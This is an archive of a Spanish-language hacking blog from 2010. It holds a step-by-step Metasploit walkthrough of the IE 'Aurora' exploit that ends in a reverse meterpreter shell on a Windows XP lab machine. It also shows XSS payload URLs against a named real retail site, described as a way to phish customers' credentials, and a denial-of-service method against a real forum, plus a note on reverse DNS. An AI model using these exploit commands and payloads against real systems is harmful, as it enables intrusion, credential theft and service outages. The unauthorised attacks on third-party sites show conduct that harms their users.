martes, 9 de febrero de 2010

Laboratorio -- Metasploit - Exploit ie_aurora


Bueno creo que todos deben conocer del 0 day que tanto se hablo en estos ultimos tiempos sobre IE, lo que lograba un BOF pudiendo inyectar codigo arbitrario obteniendo una shell, aunque no todos son vulnerables hay una tablita que muestra que tan bien estan parados algunas versiones de windows conjuntamente con la version de IE, mas ahora sabiendo que los antivirus lo detectan..



El laboratorio se compone por una Virtual Machin ( VirtualBox, en el proximo post voy a explicar como intalarlo con yapa de Hacking! ) que tiene intalado un Windows XP SP3 con internet explorer Version 6.0, el cual es totalmente vulnerable. Por suerte es muy raro encontrar clientes navegando con esa version, pero .... :). Je..



Comenzando

Primero entonces nesesitamos el metasploit, lo podemos descargar desde aqui, busquen su arquitectura para linux hay de 32 bit y 64 bit (Yo me descargue este framework-3.3.3-linux-x86_64.run), tambien esta para windows pero el ultimo que baje no tenia el exploit aurora, pero se le puede agregar descargando el archivo con estension rb y colocarlo en la carpeta de exploit/windows/browser que seria lo ideal. Aqui el exploit.
Una vez intalado el metasploit, y que todo haya salido bien ( En linux nesesitamos intalar ruby ), nos dirigimos a la consola de metasploit.

/home/usuario# msfconsole



                                  _       _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|


=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8438 updated yesterday (2010.02.09)

msf >


Una vez dentro de la consola de Metasploit, tenemos que elegir el exploit a utilizar


msf > use windows/browser/ie_aurora
msf exploit(ie_aurora) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to
listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)


Exploit target:

Id Name
-- ----
0 Automatic


Una vez cargado el exploit con el comando use, podemos ver los argumentos que nesesita el exploit para poder funcionar con el comando show options.
Usaremos un PAYLOAD de reverse shell, para ello colocamos lo que sigue.

 msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Bien empezamos a llenar los argumentos tanto del Payload como del EXPLOIT



msf exploit(ie_aurora) > set LHOST 190.18x.xxx.xxx
LHOST => 190.18x.xx.xxx
msf exploit(ie_aurora) > set URIPATH /
URIPATH => /
msf exploit(ie_aurora) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 190.18x.xx.xxx yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Automatic


En la pantalla se ve como se setearon los valores cargados LHOST vendria a ser la ip del atacante. Largamos el exploit


msf exploit(ie_aurora) > exploit
[*] Exploit running as background job.
msf exploit(ie_aurora) >
[*] Started reverse handler on 190.18x.xx.xxx:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://190.18x.xx.xxx:8080/
[*] Server started.


El servidor lo tengo corriendo en la IP del argumento LHOST en el puerto 8080 y tendremos una reverse shell por el puerto 4444 :).
Ahora mandamos el enlace a la victima, y esperamos que ingrese.


Veamos nuestra consola de metasploit :)



[*] Sending Microsoft Internet Explorer "Aurora" Memory Corruption to client 190.18x.xx.xxx
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (190.18x.xx.xxx:4444 -> 190.18x.xx.xxx:51513)
sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 190.18x.xx.xxx:4444 -> 190.18x.xx.xxx:51513

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: VICTIMA
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: es_ES




Vemos que tenemos la session con la victima, que tiene un Windows XP SP3.
Ahora vamos a la shell remota que es lo mejor :)


meterpreter > shell
Process 812 created.
Channel 1 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Victima 10\Escritorio>hostname
hostname
victima

C:\Documents and Settings\Victima 10\Escritorio>


Solucion

Navegar con un antivirus para este exploit seria lo mejor el NOD32 lo detecta y no deja inyectar, tambien no usar un IE explorer anticuado asi como el 6.x que fue hecho en esta POC. Mientras pasen cosas parecidas dejar de utilizar el software defectuoso hasta que la Empresa propietaria del mismo largue el parche, para cada programa siempre hay otro que realiza la misma accion, pudiendo elegirlo a ese temporarlmente.



Referencias:
http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html

http://foro.elhacker.net/hacking_avanzado/metasploit_0day_ie_exploit_ieaurora-t281678.0.html

Saludos

lunes, 1 de febrero de 2010

Pishing a través de XSS (POC Luis A. Cuadrado)

Bueno como anda muy de moda todo lo que es XSS, y la cantidad de sites vulnerables a ellos, voy a mostrar uno de sus tantos usos de engaño.
Primero que es Pishing, es la forma de engañar a la víctima haciéndole creer que esta en un site de confianza cuando en realidad esta en uno maligno, con el fin de poder robar los datos (nombre, usuario, contraseña, numero de tarjeta de crédito, etc.).
Hay una diferencia con respecto al pishing común a lo que es el Pishing a través de XSS. Ejemplo: supongamos que somos cliente de un bancoX, y su pagina de ingreso es http://bancoX.com/login.php, el atacante podría incentivar a la víctima mediante alguna forma de la ingeniería social que ingrese a su sitio maligno hecho por el, haciéndole creer que esta en el original, donde el sitio maligno es http://sitiomaligno/bancoX/login.php.
Entonces una de las formas de verificar siempre si estamos ante un pishing es mirar la dirección de nuestro browser y asegurarnos que estamos donde quisieramos entrar.
El Pishing con XSS, es mucho mas eficiente, ya que el atacante aprovecha la confianza que tiene el cliente con ese dominio, y mediante la inyección de HTML podemos engañar a la persona pidiendo sus datos, y el usuario podrá mirar la dirección de su browser, y efectiva mente estará posicionado en el site correcto de su confianza.

Para un mejor entendimiento voy a mostrar con un site real, que es el Sitio de Luis A. Cuadrado. Esta empresa es por lejos la mas prestigioso de ventas de insumos de informática en Corrientes Capital y Resistencia Chaco, pero pareciera que no le importa mucho la seguridad de sus clientes.
Lo que me llamo la atención fue este enlace, http://www.luiscuadrado.com/login.php, y fue cuando me decidí hacer este articulo.





Siendo usuario del mismo podemos comprar productos y donde los mismos pueden ser enviados al domicilio.

VERIFICANDO LA FALLA

Bien la falla radica en una variable, $products_id, que lo que hace es tomar un numero hacer una consulta a su base de datos, y luego trae la información de el producto correspondiente. Ahora si al pasar el numero $products_id=1249, además de toda la info de dicho articulo con id=1249, el valor se imprime en pantalla sin pasar por algún filtro, :).

Primer Ejemplo: http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3Cscript%3Ealert%28123%29%3C/script%3E

opps!! XSS!!.

Ahora veamos algo mas lindo, y mas detallado lo que hice fue crear un script en php con un formulario pidiendo Email y Clave, y que los datos se guarden en un archivo de texto, la inyección es mediante un iframe.

Segundo Ejemplo: http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3Ciframe%20src=http://www.google.com%20height=%22300%22%20width=%22800%22%3E%3C/iframe%3E

Google en la pagina de cuadrado! je..

Ahora ahí va algo mucho mejor, que vendría hacer lo que estábamos hablando insertar un formulario pidiendo Email y password..






Vean el formulario de logueo, tranquilamente se puede engañar a la gente pidiendo sus claves para luego obtener el ingreso al sistema. (en este momento no esta el link ya voy a subir los php que cree a un server amigo, para que uds lo vean desde su browser). Los datos quedan guardados en un archivo txt.



El escenario esta preparado, lo único que quedaría es usar la imaginacion para engañar a sus clientes. Y quizás tener algunos insumos de informatica mas!! xD


Prevencion:

Todas las variables mostradas por pantalla deberían ser pasadas por filtro, para no tener este tipo de problema, obviamente que todo depende de la calidad del programador, ya que no solo nos enfrentamos con XSS, sino también CRSF o XSRF, donde el que sale perjudicado es el usuario final.
Recomiendo usar agregados como Noscript para el firefox, y siempre estar atento los posibles mail, sms, mensajes por msn, que nos envien a un sitio donde somos usuarios y pidan nuestros datos por alguna razon X, estar seguro que donde estamos es quien dice ser.!


Mas Documentación

http://itfreekzone.blogspot.com/2009/12/cruzando-informacion-cross-site.html

http://itfreekzone.blogspot.com/2009/12/rompiendo-lo-grande-xss-avanzado.html



Saludos!!

martes, 19 de enero de 2010

Denial of Service elhacker.net



En seguridad informática, un ataque de denegación de senvicio, también llamado ataque DoS (de las siglas en inglés Denial of Service), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible a los usuarios legítimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima. Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le dice “denegación”.
Estracto de Daniel,

Bien ahora que hay una idea de lo que es un DOS y como bien dice el titulo es lo que se hizo.
Ayer por la noche Daniel Godoy me mostró un e
nlace qwe los chicos del staff del elHacker.net dejaron al descubierto donde se podía llegar a modificar la cantidad de consultas a mostrar al usuario. El enlace es este

http://foro.elhacker.net/SSI.php?ssi_function=boardNewsTitulares;board=34;start=1;limit=1

ahora que pasaría si nosotros colocamos en el valor de la variable limit un numero muchisimo mas grande que 1, quedaría algo así.

http://foro.elhacker.net/SSI.php?ssi_function=boardNewsTitulares;board=34;start=1;limit=9999999999999999999999999999999999 99999999999999999999999999999999999999 99999999999999999999999999999999999999 99999999999999999999999999999999999999 99999999999999999999

al ejecutar esa petición en el servidor se nota un delay en el mismo, la cuestión es que pasaría si en vez de enviar una consulta de este tipo por segundo enviamos muchisimas mas, se llegaría a provocar un DOS, para reafirmar nuestra teoría me codee un script en perl que haga eso. En cuestión de segundos pudimos empezar a ver los resultados.

Para los que son aun mas exigentes les damos un videito.












Si bien mas que nada todo esto fue hecho para alimentar nuestro ego y para poder ayudar a su comunidad. En fin nunca se puedo contar con un %100 de seguridad siempre hay un eslabón debil por donde romper.


Creditos: MagnoBalt && FR34K
[magnobalt.blogspot.com][www.delincuentedigital.com.ar]


Saludos

lunes, 18 de enero de 2010

Reverse DNS


Bueno después de una larga ausencia por motivos de las vacaciones y llegado hace instante, vuelvo a darle vida al blog, quiero saludar dando un Feliz 2010 y que todos sigamos creciendo y con buena salud, y espero que este año siga conociendo gente copada como lo hice en el 2009 que fue buenisimo.

Bueno el motivo de este post es hablar sobre una técnica llamada reverse DNS, que en un Pentest no se debería dejar de lado, ya que siempre la Seguridad se rompe por el eslabón mas débil de la cadena. Muchos sabemos que algunos sitios están alojadas en servidores donde se comparte el mismo con otros clientes, es decir que en un servidor hay alojadas distintas paginas o Virtual Host.
Esta técnica se usa para saber que paginas tiene relación con la pagina que estamos testeando. Es decir si nuestro target es www.ejemplo.com.ar, y esta alojada en un servidor donde se encuentran:

www.ejemplo1.com.ar
www.ejemplo2.com.ar
www.ejemplo3.com.ar
.
.
www.ejemploN.com.ar

Las herramientas que logran hacer el Reverse DNS nos mostrara dichas paginas. Los que traigo son 3 script que realizan la acción el cual están codeadas en PHP, PYTHON y PERL para que usen dependiendo la ocación una u otra ( siempre es bueno tener codeadas en distintos lenguajes).
Los códigos en PHP y PYTHON fueron codeadas por mi amigo Daniel Godoy, al cual lo conocí en Salta y donde le hice una entrevista días después, de paso les doy su Blog que no esta bueno, esta muy bueno se lo recomiendo.
Por que es importante esto? Cuando no podamos vulnerar la pagina que estamos testeando, ya sea por conocimientos o por que no hay forma, podríamos pensar que si vulneramos una alojada en el mismo server, obtenemos la confianza del mismo, los que nos da incapie para poder escalar y llegar a nuestro objetivo. Esto me lo han contado xD jaja...

Bueno ahi les dejo los codigo en paste2.org.

S0urc3 PHP
S0urc3 Python
S0urc3 Perl


Saludos..